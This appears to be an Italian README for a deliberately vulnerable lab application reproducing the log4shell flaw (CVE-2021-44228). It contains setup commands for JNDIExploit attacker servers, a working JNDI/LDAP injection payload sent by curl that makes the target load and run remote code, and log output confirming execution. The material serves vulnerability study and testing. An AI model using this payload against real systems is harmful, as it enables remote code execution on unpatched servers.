
Questo repository contiene un'applicazione web Spring Boot vulnerabile a CVE-2021-44228, nota come log4shell.
Questo repository contiene un'applicazione web Spring Boot vulnerabile a CVE-2021-44228, nota come log4shell.
Utilizza
log-4j-core:2.14.1 (tramite spring-boot-starter-log4j2) eopenjdk:8u181Eseguila:
docker run --name vulnerable-app --rm -p 8080:8080 romanutti/log4shell-vulnerable-app
Oppure, compilala tu stesso:
docker build . -t vulnerable-app
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
Seguendo i passaggi seguenti puoi riprodurre un exploit log4shell. Se non hai familiarità con il funzionamento dell'attacco, dai un'occhiata a questo articolo o alle diapositive in questo repository.
Aggiornamento (13 dicembre): Il repository JNDIExploit è stato rimosso da GitHub (presumibilmente, non da GitHub). Raccomando quindi di utilizzare la versione salvata da questo repository.
Prima di tutto dobbiamo configurare i server attaccanti. Questo consiste in
Usiamo JNDIExploit per avviare i server attaccanti.
git clone https://github.com/romanutti/log4shell-vulnerable-app.git
cd log4shell-vulnerable-app/src/main/resources
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i [your-private-ip] -p 8888
Come payload vogliamo eseguire touch /tmp/pwned (che corrisponde al base64 codificato dG91Y2ggL3RtcC9wd25lZAo=) sul server dell'applicazione vulnerabile.
Attiva l'exploit usando:
# will execute 'touch /tmp/pwned'
curl localhost:8080 -H 'user: ${jndi:ldap://[your-private-ip]:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
L'output di JNDIExploit mostra che i server attaccanti hanno risposto con l'exploit malevolo e hanno eseguito il payload:
[+] LDAP Server Start Listening on 1389...
[+] HTTP Server Start Listening on 8888...
[+] Received LDAP Query: Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo
[+] Paylaod: command
[+] Command: touch /tmp/pwned
[+] Sending LDAP ResourceRef result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo with basic remote reference payload
[+] Send LDAP reference result for Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo redirecting to http://[your-private-ip]:8888/Exploitjkk87OnvOH.class
[+] New HTTP Request From /[your-private-ip]:50119 /Exploitjkk87OnvOH.class
[+] Receive ClassRequest: Exploitjkk87OnvOH.class
[+] Response Code: 200
Per confermare che l'esecuzione del codice sia riuscita, controlliamo che il file /tmp/pwned.txt sia stato creato nel container che esegue l'applicazione vulnerabile:
$ docker exec vulnerable-app ls /tmp
...
pwned
...
https://www.lunasec.io/docs/blog/log4j-zero-day/
https://mbechler.github.io/2021/12/10/PSA_Log4Shell_JNDI_Injection/
https://github.com/christophetd/log4shell-vulnerable-app/